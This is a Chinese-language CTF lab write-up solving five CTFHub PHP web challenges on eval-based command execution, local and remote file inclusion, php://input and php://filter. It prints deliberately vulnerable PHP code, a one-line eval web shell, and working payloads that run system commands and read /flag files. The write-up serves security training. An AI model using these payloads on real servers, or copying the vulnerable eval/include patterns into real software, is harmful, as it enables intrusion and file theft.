CTFHub - Web(五)
阿新 • • 發佈:2020-10-16
eval執行:
1.進入網頁,顯示原始碼,
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
2.輸入命令,發現該檔案並不是想要的,
cmd=system("ls");
3.繼續檢視目錄命令,
cmd=system("ls /");
4.檢視,得到flag,
cmd=system("cat /flag_8822");
flag:
ctfhub{d593f41b1b07b3eba2ff5d5419272766ef47c8c6}
檔案包含:
1.進入題目,原始碼如下,
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.點選檢視shell,
<?php eval($_REQUEST['ctfhub']);?>
3.構造payload,
file=shell.txt
POST:ctfhub=system("ls ");
4.發現沒有需要的檔案,檢視根目錄,
file=shell.txt
POST:ctfhub=system("ls /");
5.檢視flag,得到flag,
file=shell.txt
POST:ctfhub=system("cat /flag");
flag:
ctfhub{134dc84eb445a2d35c7c7f2d005a93149bcd3aae}
補充:
strpos()函式:
查詢字串在另一字串中第一次出現的位置(區分大小寫)
strpos("You love php, I love php too! ","php");
php://input:
1.進入頁面,原始碼如下,
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.使用php://input來構造傳送的指令,
3.構造,
?file=php://input
POST:<?php system("ls /");?>
4.檢視flag目錄,得到flag,
?file=php://input
POST:<?php system("cat /flag_27046");?>
flag:
ctfhub{3d3a294472cbaaf5f60d3639da8a1c75e0144bbb}
讀取原始碼:
1.進入題目,分析原始碼,
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.題目告訴了flag所在位置,考慮使用php偽協議中的filter協議直接提取出flag的內容,得到base64編碼後的flag,解碼即可得到flag,(或者直接)
?file=php://filter/read=convert.base64-encode/resource=/flag
或
?file=php://filter/resource=/flag
flag:
ctfhub{1036f894cefc1ca00066d256b6c32f0537890711}
遠端包含:
1.進入頁面,檢視原始碼,
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.從phpinfo()可以看到根目錄,
3.利用POST檢視目錄,
4.檢視/flag得到flag,
flag:
ctfhub{adb12467085aa372958627a7a841bf39687022b5}